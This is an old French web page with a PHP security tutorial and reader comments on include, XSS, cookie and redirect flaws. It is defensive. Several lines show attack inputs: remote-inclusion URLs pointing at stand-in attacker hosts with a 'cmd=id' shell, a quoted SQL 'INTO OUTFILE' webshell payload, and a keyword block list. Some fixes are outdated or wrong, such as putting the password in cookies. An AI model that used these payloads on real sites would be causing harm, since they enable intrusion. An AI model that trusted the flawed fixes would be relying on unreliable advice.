begin process at 2010 02 10 13:33:18
  Trouver un code source :
 
dans
 
Accueil > 

Tutoriels

 > 

Sécurité & Cryptage

 > COMMENT SÉCURISER SON SITE ET ÉVITER LES FAILLES PHP ?

COMMENT SÉCURISER SON SITE ET ÉVITER LES FAILLES PHP ?


 Information sur le tutoriel

Note :
7,31 / 10 - par 16 personnes
7,31 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

 Description

Ce tutorial a pour but d'éclairer (principalement les débutants et les gens confrontés à un problème ponctuel) sur certaines failles PHP très répandues et encore exploitées par énormément (une majorité ?) de "piratins".

Tutorial

 

J'initie ce Tutorial sur le piratage et l'exploitation possible des failles de sécurité de vos sites en PHP, le but étant de rassembler la liste la plus exhaustive possible des problemes. A ceux qui lisent ce thread dans le but d'apprendre à savoir utiliser les failles de sécurité, passez votre chemin, vous ne trouverez ici aucune information pour vous. (Enfin, cherchez toujours.. ;-)

Je vous invite à ajouter des failles possibles en réponse à ce sujet, j'éditerais le mien, vous pouvez également poser vosquestionsrelatives ici.

1. Attention au variables
2. Défauts de la redirection
3. Faille Include()
4. Failles XSS
5. Failles Cookies
6. Faille Urlencode()
7. Faille Require()
8. Configuration de PHP
9. Vérifier la sécurité de son site sans lever le petit doigt.


1. Variables a l'air, gaffe aux courrants d'air. Par Juliian

Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin?login=1.

Pourquoi ? Même si cela peut semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'estplus grave) dans des scripts installables sur vos sites, il faut doncveiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, suivre les liens "sessions" et "cookies" pour avoir une explication plus étendue.

2. La redirection ? Pas une solution. Par Juliian

Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se connecter, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique, quels genre de codes sont infectés ?

If ($password != "Pouletgrille")  { print'

Exemple : <meta name="robots" content="index, follow">
'; }


Pourquoi? Que va il se passer quand le "piratin" va rentrer un mauvais mot depasse ? Il va arriver sur votre page  protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre espace "protégé", et pourra y accomplir ses méfaits.

Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :


If($password != "Pouletgrille")  { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion !'; }


3. La célèbre faille Include() Par Juliian


Célèbre car très utilisée, la faille include permet au "pirate" de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié desfichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

<? include ($page) ?>

Si votre URL est sous la forme suivante : http://www.votresite.com/index.php?page=accueil.php


Pourquoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php.  Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pasbien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer sespages malveillantes (comme cela: http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php, (PS pour les "pirates", cette méthode ne marche pas, n'essayez même pas. ;-), et comme le PHP est un langage merveilleux, il pourra TOUT faire.

Comment y remédier ? C'est très simple, et pas très contraignant :


$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");



Si c'est du chinois pour vous, soyez assuré que cette méthode remplira son rôle.

Quelques explications : Ce mini code inclu votre page en enleveant les caractères spéciaux, les "/" (slash) par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ?Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le code oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)

// Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillantes, je vais expliquer la situation brièvement : Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps, sur son serveur puis ensuite sera inclu sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'executer un code PHP sur votre serveur..

4. La faille XSS ? Ca me donne de l'herpes ! Par Juliian


Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, concernées, vérifiez vos mises à jour !) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous :

Pourquoi ?  Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant une entité HTML, ou empecher l'emplois de javascript, Pour se faire, il faut procéder comme suit :

$message=str_replace("javascript:","",$message)

C'est une méthique que je qualifierais de "barbare", elle supprimera juste le mot javascript des messages postés (et comme il est nécessaire d'ouvrir une balise de type <script="javascript">{code}</script>..), la méthode la plus sûre et la plus courrament utilisée restant la définition de vos messages comme des entités html :

htmlentities ($message)

5. La faille cookies ? Que nenni ! Par Juliian

Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot depasse dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas.

6. La faille urldecode() dans les requetes SQL. Par Savory

[En cours de refonte]

7. La faille require() par Savory

[En cours de refonte]

8. Cconfiguration de apache et mod_php par Juliian

Il serait bien trop long de vous guider pas à pas dans cette manoeuvre, certains sites développent cette manoeuvre sur des dizaines de pages, la configuration des apache étant quelque chose de très fastidieux, je ne retracerais que les erreurs courantes à ne pas commettre.

Je recommande vivement aux personnes qui n'ont jamais mis le nez dans le fichier de configuration de PHP (php.ini, entre autre) de ne toucher qu'aux paramètres dont ils sont absolument sûrs.

Le paramètre "Safe_Mode" : Le safe_mode doit toujours être activé, il ajoute tout un lot de sécurités non négligeables pour la gestion et le traitement de vos fichiers. Celui-ci intervient principalement dans les droits de lecture, d'écriture et de suppression des fichiers contenus sur votre machine. Il contrôle également la légitimité du manipulateur des fichiers, en vérifiant que le propriétaire du script est également le propriétaire des fichiers manipulés, par exemple. De plus amples précisions ici.

Le paramètre "Register_Globals" : Ce paramètre joue principalement sur les variables, il permet de contrôler la provenance des variables intervenant sur votre site. Il est extremement important de conserver ce paramètre sur off tant que vous ne maîtrisez pas toutes les subtilités de la manipulation de variables. Ce paramètre vous oblige à définir vous même le contenu de vos variables, et empêche les visiteurs de le faire pour vous.

9. Vérifier la sécurité de son site sans lever le petit doigt. Par Juliian


Cette méthode est très simple, elle se compose de trois étapes, comme suit :

1. Trouver un pirate talentueux et renommer.
2. L'insulter copieusement.
3. Lui donner par inadvertence l'adresse de votre site.
4. Attendre, et regarder le résultat.

Résultat final : Si votre site est encore en vie au bout d'une heure, félicitations ! Votre site est protégé.

Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)

 Historique

27 juillet 2005 17:20:51 :
Correction de petites fautes..
27 juillet 2005 17:44:55 :
Correction de ma barre espace deffectueuse.. :s
27 juillet 2005 18:19:08 :
Petit ajout, correction. ;)
27 juillet 2005 18:48:56 :
Petit ajout, correction. ;)
27 juillet 2005 18:51:56 :
Correction...
27 juillet 2005 22:00:00 :
Correction de quelques fautes..
26 août 2005 22:35:47 :
update, correction de quelques fautes, ajout d'espaces
27 août 2005 08:55:35 :
Petit ajout..
27 août 2005 08:59:17 :
Tentative d'envois par internet explorer pour empêcher la suppression arbitraire d'espaces..
27 août 2005 09:25:15 :
Simplification

Commentaires

Commentaire de grandvizir le 27/07/2005 17:04:30

Ca résume pas mal de choses, très diverses. Seulement, dommage que tu n'évoques pas la fonction HTMLENTITIES.

Commentaire de juliiian le 27/07/2005 17:27:42

Je m'occuperais de le rajouter aujourd'hui, je suis sans doute passé à côté de pas mal de choses, mais ça représente un boulot assez conséquent..

Commentaire de max12 le 07/08/2005 04:06:06 administrateur CS

Très bien, mais il maqnue beaucoup d'espace dans le texte :( Un problème de clavier ?

Commentaire de MadM@tt le 11/08/2005 17:08:10

Je m'attendais à un tutoriel qui allait me servir, et je suis vraiment déçu.
Je ne comprend que les titres, alors que les failles que tu énonce je les connais déjà toutes...
Rien que le chapitre 8, c'est meme pas la peine qu'un newbie le lise, il va rigoler. Enfin il te reste encore pas mal de boulot avant de pouvoir monter un bon tutoriel, surtout que la moitié des mots ne sont pas séparés par des espaces.
Enfin voilà, je nétait pas venu sur cette page pour critiquer mais pour apprendre, mais je n'ai pas eu le choix...

Commentaire de MATHIS49 le 24/08/2005 00:57:55

MadM@tt, aurais tu les chevilles qui gonflent ?

Commentaire de MadM@tt le 24/08/2005 23:41:18

chevilles qui gonflent ?

bah je dis pas du tout que j'aurais pu faire mieux moi, parce que je suis venu ici pour chercher des infos quoi, mais je suis déçu parce que je connais les failles de nom (hein seulement de nom ;) c'est peut etre pour cette phrase que tu m'as fait la remarque) mais je voulais justement en savoir plus...
Enfin voilà pour moi quand on poste un tutoriel, c'est qqch qu'on a travaillé et qui pourrait servir aux autres, ce qui n'est pas trop le cas à mes yeux, j'y ai rien pigé, les phrases n'ont ni queue ni tete, il utilise des termes assez compliqué qu'il ne définit pas... Faut un avoir un bon niveau avant de le lire et c'est pas précisé

bon bon j'arrete de parler lol et désolé si j'ai paru "prétentieux" ou autre ;)

Commentaire de juliiian le 26/08/2005 22:10:30

Concernant les passages indescriptibles, je t'invite à me les communiquer, plutôt que de dire que les phrases n'ont ni queue ni tête.. J'ai estimé que mon tutorial s'adressait à des gens, même débutants qui se servaient un petit peu de PHP, à des gens qui savent ce qu'est une variable (c'est vraiment la base des bases, je ne peux pas faire un cour à chaque terme "technique" utilisé, des sites le font beaucoup mieux que moi, étant donné que le sujet de mon tutorial est bien la sécurité, rappellons le)

Je vais corriger les problèmes d'espaces, cela rendra la lisibilité meilleur..

Et par pitié, si vous avez un problème avec mon texte, décrivez précisément les problèmes que je puisse y remédier, plutôt que de  faire des remarques désobligeantes et décourageantes, les tutoriaux partent généralement d'une bonne intention =(

Commentaire de MadM@tt le 27/08/2005 00:27:39

Bah j'ai pas trop le temps de tout expliquer en détail

Par exemple, au 2 :
"CODE
If ($password != "Pouletgrille")  { print''; }

Pourquoi? Que va il se passer quand le "piratin" va rentrer un mauvaismot depasse ? Il va arriver sur votre page non protégée, et va êtreaussitôtredirigé vers une page d'erreur, et c'est là l'erreur : Levisiteurpourra toujours bloquer son navigateur, ou enregistrer votrepage, et ilvera l'intégralité de votre page "protégée", et pourra yaccomplir sesméfaits."

J'ai pas compris : C'est quoi ma page non protégée ? C'est celle ou on demande l'authentification, celle qui contient notre contenu reservé aux membres ?
"et va êtreaussitôtredirigé vers une page d'erreur" > Pourquoi donc ? d'après le bout de code que je vois, si on entre un mauvais mot de passe la seule chose qui se passe, c'est que rien ne s'affiche c'est tout...
Enfin en résumé je n'ai pas compris ta faille ? ou plutot l'exemple de ta faille
De plus le code "sécurisé" possède une erreur je crois ?
If($password != "Pouletgrille")  { Print'Insérez ici le contenudevotre section admin'; } else { print'Erreur de connexion !'; }
ça serai pas plutot :
If($password == "Pouletgrille")  { Print'Insérez ici le contenudevotre section admin'; } else { print'Erreur de connexion !'; }
Mais bon ça se comprend quand meme


Au 3 il manque le bout de code présentant la faille.
MAis bon perso cette faille je la connais, mais qqn qui ne la connais pas (et qui viens ici pour la découvrir) ne comprendra pas. (toutefois l'explication sur les adresse plus bas permet de deviner)


Au 4, le code c'est Salut!, bizarre pour un code php ;)
Enfin si on ne devine pas, aucun moyen de savoir de quelle faille tu parle, tu dis seulement ce qu'on peut faire grace à elle.


Le 5 : nickel ;)


Au 6 : j'ai pas compris pourquoi "si on url encode ' en %27 pui reurlencoder en %2527" > "on peut injecter un ' au nez de la requete :) et donc injecter du code php."
Je vois pas le lien entre les 2
Et puis que faire ? j'ai pas trop compris mais bon c'est peut etre pas de mon niveau


7 : Le code :
1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY ''/*
C'est quoi ? du mySql ?
"ethop on se fabrique une include a condition de connaitre le pathrelatifdu wwwroot pouvant etre reperé en faisant bugger la page."  ?? ça sert à quoi de faire ça ? C'est la faille ou c'est la sécurité ?
Et ça ça vient d'ou : %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E


8 :
"Premiere chose compiler le LAMP avec le mod ssp de gcc"
je fais du php depuis qq mois, mais je ne connais tjrs pas les mots LAMP, mod ssp et gcc, je suis si nul que ça ou ces mots vaudraient peut etre la peine d'etre expliqué :(
Après on peux faire une collection :
chrooter, symlink, sock mysql, chroot, mod_php, les binaires, le param execdir, system()/passthru/exec etc, les url open...
Je suis pas du tout expert, mais chu pas newbie à ce point non plus...


Pas contre le 9 j'adore lol ;)
Et merci pour les espaces

Commentaire de MadM@tt le 27/08/2005 00:29:28

Enfin je voulais dire merci de vouloir les corriger

Commentaire de juliiian le 27/08/2005 08:52:45

Pourquoi, lors de l'envois de mon texte le site me zap systématiquement des espaces ?

Sinon, la pluspart des problèmes que tu décris sont des problèmes de copier coller (mon tutorial ayant été écrit sous un logiciel de mise en page, certains caractère ou phrases n'ont pas été pris en compte (presque tous les codes par exemple, cela doit venir de leur police), je pense les avoir corriger.

Je vais éclaircir les deux derniers points serieux (le 7 et  le 8), n'étant pas de moi, je ne les ai pas contrôlés comme ils auraient dû l'être.

Commentaire de MATHIS49 le 27/08/2005 09:25:50

Bah voila tout s'arrange et dans le bon sens.

Commentaire de MadM@tt le 27/08/2005 11:36:00

Ok merci

Commentaire de azerty25 le 03/09/2005 23:36:11

Désolé de voir ça un peu tard mais je le trouve intéressant, merci pour l'article. J'espère bientot voir les 2 rubriques manquantes :)
Par contre la dernière, c'est franchement la plus complète que j'ai pu voir sur la sécurité PHP à ce jour ! :-D

Commentaire de MadM@tt le 04/09/2005 11:56:52

J'ai relu le tutoriel entièrement, et franchement c'est excellent, j'ai réussi à comprendre ttes les failles ^^
Vraiment euh ça mériterais qu'on efface mes commentaires précédents vu les efforts que tu as fait. Enfin tt simplement bravo !

Commentaire de erce78 le 21/09/2005 23:40:38

Pourrais-tu rajouter une partie sur les failles concernant les injections SQL dans les fichiers PHP ?
Sinon très bien le tutoriel !

Commentaire de mickadevelop le 27/10/2005 16:13:50

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

Commentaire de mickadevelop le 27/10/2005 16:15:06

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

Commentaire de mickadevelop le 27/10/2005 16:22:05

Bonjour,
Merci pour ce tutoriel très interessant!!
J'ai une petite question qui me vient concernant le point numéro 2.
Pour des pages membres ou admin si on utilise le code suivant est ce que cela peu fonctionner au niveau de la sécurité?
exemple:
<?php
if($motdepasse != "pouletgrille")
   {
   headers('location: pageprecedente.php');
   exit();
   }
?>
<html>
<p>contenu page membre</p>
En théorie le serveur lit le code php si le mot de passe est correcte la partie html est renvoyée à l'internaute sinon le programme renvoi à la page précedente et stoppe l'éxecution au niveau du "exit()" donc en théorie la partie html n'est pas accessible. Pourriez vous me dire ce que vous en pensez? Merci d'avance.

Commentaire de kankrelune le 06/12/2005 01:47:58

Salut Juliiian...

Très bien cette idée de tuto... .. .

Par contre comme précédament dit tu as une erreure sur le code de la faille 2... d'ailleurs tu parle de redirection mais je n'en vois point... .. . 8-|

Pareil comme dit précédament il serait interessant que tu parle des injections SQL bien que cette attaque soit due à des variables mal sécurisés... .. . :o)

Pour la faille 4 je serais toi je virerais l'histoire du str_replace car il me semble que la balise <script> tout court fonctionne (à vérifier) à la place parle de strip_tags... .. . ;o)

Pour le paragraphe 8 il y a allow_url_fopen qu'il peut être bien d'aborder et ton lien pour le safe mode est mort (si tu en connait un autre)... .. .

Pour le 9 mdrrrrrrrrrrrrrrrrrr... par contre il existe un soft pour tester (sommairement) la sécurisation des scripts php... phpprotector je crois... je me souviens plus bien... .. .

Sinon dans l'ensemble c'est pas mal... j'aime beaucoups la touche humoristique que tu donne... .. . ;o)

@ tchaOo°

ps : pour mickadevelop oui ça marchera mais pas avec pageprecedente.php (non non je ne te prend pas pour un idiot je préfère juste le préciser)... .. .

Commentaire de ccharlly le 25/02/2006 14:02:30

Bonjour à toutes et à tous,

Je suis profane et je souhaite utiliser un CMS " NPDS " par exemple : ce portail, dans ses dernières versions, tient-il compte de toutes ces failles potentielles ?

Merci d'avance

Commentaire de jdalton42 le 27/02/2006 10:53:35

Salut,

merci pour ce tutoriel, il m'a bien aidé et m'a appris des failles que je ne connaissais pas et qui pouvait être utilisée sur mon site :S

j'ai donc pu corrigé tout sa :d

et pour MadM@tt : tu es profondément décu, mais c'est un tutoriel fais pour aider les personnes qui ne connaissait pas les failles, pas pour aider seux qui les connaissent, ils n'ont plus besoin d'aide, alors vient pas raler parce que tu as rien appris, normal, tu les connais déjà, et si t'es pas content de ce tutorial, ben t'a cas en écrire un toi même et on comparera... en attendant, fais plus chier please

Commentaire de MadM@tt le 27/02/2006 13:24:55

Quand on a un peu de cerveau et qu'on veut critiquer on regarde tous les commentaires.
Voici mon dernier puisqu'il n'a pas l'air de s'afficher chez toi :
"J'ai relu le tutoriel entièrement, et franchement c'est excellent, j'ai réussi à comprendre ttes les failles ^^
Vraiment euh ça mériterais qu'on efface mes commentaires précédents vu les efforts que tu as fait. Enfin tt simplement bravo !"


Mes premiers commentaires ont été écrit pour un tutoriel qui n'avait rien à voir avec celui d'aujourd'hui (qui est très bien soit dit en passant) car il était incomplet et pas très compréhensible.
Donc "fais plus chier please"
Ciao

Commentaire de Mr_FuFu le 06/03/2006 12:50:31

hummm...
http://www.pcinpact.com/forum/index.php?s=8292603080d08cf3f38e767b2f228440&showtopic=47608&st=0&p=743220&#entry743220
copier/coller ;)

Commentaire de jdalton42 le 06/03/2006 14:30:05

wai... j'ai pas lu tout les commentaires... pcq j'en avais marre de lire tes critiques...

Commentaire de surfman le 30/04/2006 12:56:40

J'aprécie ce tutorial, ça me permet surtout de corriger mes failles, une chose serait plus interessante, c'est de savoir haker son propre site histoire de voir les failles et de les corrigés par la suite, mais ce n'est pas légal de poster un tutorial sur le hack...

En tout cas je te remercie pour ce tutorial, et j'éspere que vous evoquerez dans le futur les htmlentities et tout le reste des failles php pour qu'on puisse ce sécuriser quand même.

Cordialement.

Commentaire de pastis51forever le 28/05/2006 00:19:28

Bonjour!

Peut-etre que je me trompe...
Enfin, je me lance...
Dans ta solution a la 3eme faille (include()), tu dis que c'est pas grave d'inclure un fichier php... Mais je reste sceptique sur ce sujet.
Je veux bien que le code s'execute sur son serveur d'abord, puis sur le tien, j'ai pas vérifié. Dans ce cas la, si son code est:
<?php
echo '<?php unlink("index.php") ?>';
?>
si son but (tout gentil, il faut le dire...) est uniquement de détruire ton index.php pour, j'imagine, voir les liste des fichier... Avec de plus mauvaises intentions, je pense qu'il peut s'amuser beaucoup plus en incluant tout ce qu'il veut par la même technique...

J'espère n'avoir pas dit de conneries...

Brice

Commentaire de killermaster le 31/05/2006 09:22:46

Salut et tout d'abord merci pour ce tuto bien instructif ;)

voilà j'avais une petite question concernant le point 3, c'est-à-dire la faille include :

tu dis que pour la sécuriser, tu enlèves les '/' de la valeur de la variable $page...

C'est là mon problème, car en effet cette technique interdit bien au pirate d'uploader son script puisqu'il ne peut plus écrire "http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php".

Mais le problème c'est que l'on peut nous aussi (nous, le Webmaster) avoir besoin de mettre des '/' dans la variable $page si l'on souhaite charger, par exemple, la page 'dossier1/dossier2/dossier3/zePage.php'...

Voilà, voilà...


Donc moi j'ai pensé à mettre ça :

$page = preg_replace("http://www.", "", $page);

Je ne l'ai pas encore essayée, donc si quelqu'un pouvait juste me dire si ça avait des chances de marcher... ;))

@++)

Commentaire de pastis51forever le 31/05/2006 10:47:06

Salut Killermaster!
Juste une idée qui n'est qu'une idée par rapport à ta solution de preg_replace:
Je pense que ca ne suffit pas car si le gars rentre cette adresse la:
...?page=http:/http://www./www.sonsitepascool.com/sapagepascoolnonplus.php, le preg_replace supprimera http://www., et ce qu'il restera dans la variable $page sera http://www.sonsitepascool.com/sapagepascoolnonplus.php, donc le chemin direct vers sa page.
Soit tu devrais en faire un fonction récursive pour les supprimer tant qu'il en reste dans la variable, soit, plus simple, tu testes uniquement la présence de la chaine http://www dans $page. Avec un simple if, soit tu inclus la page, soit tu mets un message d'erreur avec en plus la possibilité de faire un log contenant l'ip du gars en question (Que tu pourras par la suite interdire dans le .htaccess).
C'est pourquoi, le mieux et donc de créer une fonction de test de ta variable $page dès le début du code pour permettre de le relancer vers une autre page en cas de tentative d'inclusion de fichiers non autorisés.
Et ta fonction peut aussi vérifier si $page inclut bien un fichier autorisé (par exemple issu des répertoires include/ ou fonction/...)

Brice

Commentaire de killermaster le 31/05/2006 11:16:45

Salut PASTIS51FOREVER !!!

Oui c'est vrai, en plus je viens de poster ça : http://www.phpcs.com/code.aspx?ID=37874 !!

Pas mal le truc de noter l'ip du mec, héhé, WANTED !


A++ ;)

Commentaire de NKWolf le 04/06/2006 12:57:46

félicitation pour ce tuto, j'aime beaucoup même si je connais déjà ces failles.

par contre il serais bien de parler de la fonction addslashes qui sécurise un chouya plus un site

en suite y'a ceci pour empêcher d'introduire du javascript par l'utilisateur / visteur

<?PHP
// On récupère la partie de l'url actuel après le ?
// exemple http://www.mon-site.com/index.php?zone=news&id_news=1
// on récupère alors dans $str_queryurl : zone=news&id_news=1
$str_queryurl = strtolower(rawurldecode($_SERVER['QUERY_STRING']));

// On crée notre tableau contenant des éléments interdit
$str_no = array("%20union%20", "/*", "*/union/*",
                "+union+", "load_file", "outfile",
                "document.cookie", "onmouseover",
                "<script", "<iframe", "<applet",
                "<meta", "<style", "<form", "<img",
                "<body", "<link");

// On fait la boucle sur notre tableau
foreach ($str_no as $str_value)
{
    // Si un élément interdit est présent dans l'url    
    if (strpos($str_queryurl, $str_value))
    {
// On redirige vers une page d'erreur
header("Location : page_erreur.php");
// Ceci est facultatif mais offre une sécurité de plus, on est jamais trop prudent
// on utilise exit pour stoper l'exécution du script
exit();
    }
}
?>

voici une solution concrète de sécurité, il ne vous reste plus qu'a l'appliquer à des valeur $_POST[], $_GET[], $_COOKIE[] aussi pourquoi pas

il aurais été bien aussi je pense, puisque ce tuto est destiné aux débutants, de leur préciser de vérifier chaque variable passer dès que c'est fesable

en ce qui concerne l'include qui est une faille de sécurité très connu pour ceux qui passe le nom complet du fichier (fichier.php); pour sécuriser celà il peut être judicieux de placer un suffixe, de ne pas mettre l'extension dans la variable mais en brute dans la source
exemple

<?PHP
// nom du fichier
$page = "fichier";

// ici on vérifie que l'utilisateur n'essaye pas de mettre des \. qui permetrai de remonter de répertoire
if(ereg("\.\.", $page))
{
    // On redirige vers une page d'erreur
    header("Location : page_erreur.php");
    // Ceci est facultatif mais offre une sécurité de plus, on est jamais trop prudent
    // on utilise exit pour stoper l'exécution du script
    exit();
}
// et pour plus de sécurité encore on met la suite dans le else, Si l'erreur survient cette partie n'est pas interpreter
else
{
    // Si le fichier existe sur le serveur    
    if(is_file("rep/z" . $page . ".php"))
    {
        // la suite de votre script
    }
    // Sinon c'est qu'il n'existe pas
    else
    {
       echo "Erreur 404 : fichier introuvable";
    }
}
?>
voilà ici include n'a que un élément modifiable c'est le nom du fichier, notre préfixe est z et nous définissons nous même l'extension du fichier, ce qui nous donne en réalité :
include("rep/zfichier.php");

vilà c tout ce que j'avais à dire pour l'instant j'ai vue un ou 2 autre truc mais plus le temps lol

en tout cas GG le tuto

Commentaire de nain_tendo le 08/06/2006 10:34:38

Et comme le fait remarquer MR_FuFu, il eut été bien de dire d'où vient le texte original, et surtout, surtout, de ne point t'approprier le travail d'autrui!!! http://www.pcinpact.com/forum/index.php?s=8292603080d08cf3f38e767b2f228440&showtopic=47608&st=0&p=743220&#entry743220

Commentaire de kankrelune le 08/06/2006 14:18:47

@ NKWolf... strip_tags()... .. ?

@ tchaOo°

Commentaire de blinix123 le 15/06/2006 10:13:44

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Normal que ca ne marche pas chez moi, je dois remplacer quoi chez moi, en sachant que c'est menu.php que je veux include ?

Commentaire de AzertyH le 20/09/2006 14:01:22

Salut,

Je suis débutant en matière de site web dynamique, et j'essai d'apprendre une manière de programmer tout en tennant compte des failles possible.
Mais franchement malgrès ce tuto, je galère grave... Si quelqu'un pouvez m'aider je lui en serai très reconnaissant.

1 ) Dans la faille n°1, je me demande si on peut utiliser la méthode POST en toute sécurité, ou est-ce que cette méthode est aussi risqué de GET en faveur des piratins. Si oui, alors je comprendrais qu'il faut utiliser les variables de session.
D'autre part, est'ce que les variables de session sont entièrement sécurisé.

2) Malgrès la simplicité de ce qui a put être dit dans la faille 2, je ne comprend pas clairement cette faille. Pouvez-vous exposer de manière complète tous éléments mis en oeuvre pour cette faille. J'ai absolument besoin de comprendre.


Déjà si j'arrive à comprendre ça, je serais un peu plus rassuré.
Merci pour votre aide

Commentaire de AzertyH le 21/09/2006 16:49:10

S'il vous plaie, je relance ma question. Aider moi, à comprendre ce tuto. Merci , cordialement

Commentaire de winsion le 25/09/2006 14:15:13

[QUOTE]$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Normal que ca ne marche pas chez moi, je dois remplacer quoi chez moi, en sachant que c'est menu.php que je veux include ?[/QUOTE]

Pareil pour moi !!!! pouvez vous faire un exemple ??

Commentaire de winsion le 25/09/2006 14:23:28

A l'attention d'AZHERTY...

J'ai été victime de la faille "include"...
En fait le hacker ce sert de votre url et une autre url avec un code...
Quand il execute la page, elle lui indique le type de serveur, etc... (pour moi c'était linux)
Ensuite en bas de la page il y a un prompt (connu des utilisateur de dos, les vieux comme moi quoi :))
Il ne reste plus qu'à lancer une commande linux (genre pour lister le répertoire et ajouter des fichiers" à la fin de l'url... ex:
http://www.votresite.fr/index.php?page=http://www.sitepirate.com/img.gif?&cmd=id
(id c'est une commande linux)
Heureusement j'ai découvert cette page dans mes logs !!! cela ma permit de voir comment ça fonctionné et d'utiliser le script de killmaster.

Commentaire de AzertyH le 04/10/2006 01:14:20

